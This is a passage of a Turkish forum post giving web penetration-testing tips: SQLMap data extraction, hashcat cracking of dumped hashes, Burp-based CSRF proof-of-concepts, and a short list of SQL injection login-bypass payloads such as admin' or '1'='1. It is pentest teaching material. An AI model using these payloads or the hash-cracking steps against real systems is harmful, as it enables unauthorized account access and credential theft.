- Veri Özütlemek



Eğer hedef uygulama SQL enjeksiyona karşı savunmasız ise SQLMap sömürü esnasında veri ayıklamak için genelde başvurulan araçtır.



SQLMap sitesinde belirli anahtarlara ve nasıl çalıştığına ilişkin gayet güzel bir öğretici kaynak mevcut. Araca başlamanızdan önce buraya bir göz atmanızı öneririm.



PpUOkx.png



Çevrimdışı Şifre Kırmak




Bazen hedef uygulamadan kullanıcı hesap şifreleri dökümlediğinizde kullanmanız gerekebilir.



Eğer parolalar tek yönlü bir karma algoritma kullanılarak saklanıyorsa, rockyou.txt gibi iyi bir kelime listesiyle birlikte hashcat'i bu şifrelemeleri kırmak için kullanabilirsiniz. Burada daha detaylı anlatılmıştır:



Offline Password Cracking: The Attack and the Best Defense Against It



Tabii ki bunun gibi şeyler, bir sızma testinin sonunda bir istemciye getirebileceğiniz en büyük bulgular arasında olacaktır.



PpUOkx.png



Kimlik Doğrulamayı Atlama




(Eğer halen yapmadıysanız) bu noktada eğer yapabiliyorsan SQL enjeksiyon üzerinden uygulamada imtiyazını kaldırmayı denemek yapmaya değerdir. İnternet’te bununla alakalı pek çok yazılar var lakin buyurun burada, güvenlik açığı bulunan bir giriş formuna girmeyi deneyebileceğiniz birkaç örnek yük vardır (elbette şifre alanını boş bırakın).



Kod:
[/COLOR][/SIZE][/CENTER]
[SIZE=15px][COLOR=rgb(239, 239, 239)]
[CENTER]admin' --

admin' #

admin'/*

admin' or '1'='1

admin' or '1'='1'--

admin' or '1'='1'#

admin' or '1'='1'/*

admin'or 1=1 or ''='

admin' or 1=1




PpUOkx.png



Siteler Arası İstek Sahteciliği (CSRF)




Eğer CSRF’ne hedefinin güvenlik açığını ortaya çıkarırsan (genellikle Burp Scanner'ın alacağı ilk şeylerden biri), eğer hedef uygulamada gerçekten güvenlik zafiyeti varsa doğrulamak için CSRF PoC Oluşturucu için Burp aracını kullanabilirsin.



Portswigger’dan bu aracın nasıl kullanıldığına dair bir eğitsel bir yazı:



Using Burp to Test for Cross-Site Request Forgery (CSRF)



Kısaca şöyle diyebiliriz:


  1. HTTP isteğini durdurma (tercihen hesap testinin bazı hesap bilgilerini değiştirdiği bir yerde)
  2. Burp’te bu isteğe sağ tıklama
  3. CSRF PoC oluşturma (ve bazı istek gövdesindeki detayları değiştirmek)
  4. CSRF PoC’i bir HTML dosyasına kaydetmek
  5. Yeni bir HTML dosyası açmak ve isteği gönder butonuna tıklamak
  6. Saldırganın planladığı değişikliğin gerçekleştiğini doğrulamak

PpUOkx.png



Konumu yararlı bulduysanız, beğenirseniz sevinirim. :)

İyi forumlar.
 

Rico

Hayatımı sadece ben değiştirebilirim
Ultra Member
Katılım
4 Eyl 2019
Konular
86
Mesajlar
885
Çözümler
49
Tepkime puanı
1,817
Konum
Moskova
yararlı konu thx
 

Üst